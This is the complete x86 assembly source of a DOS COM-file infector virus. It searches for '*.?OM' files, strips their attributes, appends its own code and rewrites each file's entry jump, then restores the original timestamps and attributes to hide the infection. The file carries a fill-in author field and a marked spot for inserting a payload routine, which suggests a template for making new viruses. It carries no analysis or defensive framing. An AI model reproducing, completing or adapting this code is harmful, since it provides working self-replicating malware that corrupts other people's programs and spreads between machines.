MAIN    SEGMENT BYTE
        ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
        ORG    100H

HOST:
        DB     0E9H,0AH,00
        DB     ' '
        DB     090H,090H,090H
        MOV    AH,4CH
        MOV    AL,0
        INT    21H

VIRUS:
        CALL GET_ENTRY_PT

GET_ENTRY_PT:
        POP  SI
        SUB  SI,GET_ENTRY_PT - VIRUS

        PUSH SI
        CLD
        ADD  SI,START_CODE-VIRUS
        MOV  DI,0100H
        MOVSW
        MOVSW
        POP  SI

        LEA  DX,[SI+ DTA - VIRUS]
        MOV  AH,1AH
        INT  21H

        CALL FIND_FILE

EXIT_VIRUS:
        MOV AH,1AH
        MOV DX,80H
        INT 21H

EXIT_VIRUS2:

;****************************************************************
;
; IF A ROUTINE OF SOME SORT IS GOING IN HERE, THIS IS THE PLACE!
;
;****************************************************************
        MOV  SI,0100H
        XOR  BX,BX
        XOR  AX,AX
        CWD
        PUSH SI
        XOR  SI,SI
        XOR  DI,DI
        XOR  CX,CX
        RET

FIND_FILE:
        LEA  DX,[SI + FILES_TO_INFECT - VIRUS]
        MOV  AH,4EH
        MOV  CX,3FH

NEXT_FILE:
        INT  21H
        JC   NO_MO
        CALL CHECK_N_INFECT_FILE
        MOV  AH,4FH
        JMP  NEXT_FILE

NO_MO:
        RET

CHECK_N_INFECT_FILE:
       LEA DX,[SI + DTA_FILE_NAME - VIRUS]
       XOR CX,CX
       MOV AX,4301H
       INT 21H
       JC  NO_GOOD

       MOV  AX,3D02H
       INT  21H
       XCHG BX,AX

       MOV  CX,5
       LEA  DX,[SI + START_CODE - VIRUS]
       MOV  AH,3FH
       INT  21H
       JC   NO_GOOD

       MOV  AX,WORD PTR [SI + DTA_FILE_SIZE - VIRUS]
       ADD  AX,FINAL - VIRUS + 232D + 1640D + 100H
       JC   NO_GOOD
       CMP  WORD PTR [SI + START_CODE - VIRUS],'ZM'
       JE   NO_GOOD
       CMP  BYTE PTR [SI + START_CODE - VIRUS],0E9H
       JNE  INFECT
       CMP  BYTE PTR [SI + START_CODE+3 - VIRUS],20H
       JE   NO_GOOD
       JMP  SHORT  INFECT

NO_GOOD:
       JMP  GET_OUT

INFECT:
       MOV  AX,4202H
       XOR  CX,CX
       CWD
       INT  21H

       MOV  DX,SI
       MOV  CX,FINAL - VIRUS
       MOV  AH,40H
       INT  21H

       MOV  AX,4200H
       XOR  CX,CX
       CWD
       INT  21H

       MOV  AX,WORD PTR [SI + DTA_FILE_SIZE - VIRUS]
       SUB  AX,3
       MOV  WORD PTR [SI + START_IMAGE+1 - VIRUS],AX

       MOV  CX,4
       LEA  DX,[SI+ START_IMAGE - VIRUS]
       MOV  AH,40H
       INT  21H

       MOV  AX,5701H
       MOV  DX,WORD PTR [SI + DTA_FILE_DATE - VIRUS]
       MOV  CX,WORD PTR [SI + DTA_FILE_TIME - VIRUS]
       INT  21H

GET_OUT:
       MOV  AH,3EH
       INT  21H

       LEA DX,[SI + DTA_FILE_NAME - VIRUS]
       MOV CX,[SI + DTA_FILE_ATTR - VIRUS]
       MOV AX,4301H
       INT 21H
       RET

NAME_AUTHOR     DB  'INSERT YOUR NAME HERE '
FILES_TO_INFECT DB  '*.?OM',0
START_CODE      DB  090H,090H,090H,090H,090H
START_IMAGE     DB  0E9H,0,0,020H

DTA             DB 21 DUP(0)
DTA_FILE_ATTR   DB ?
DTA_FILE_TIME   DW ?
DTA_FILE_DATE   DW ?
DTA_FILE_SIZE   DD ?
DTA_FILE_NAME   DB 13 DUP(0)

FINAL:

MAIN ENDS
     END    HOST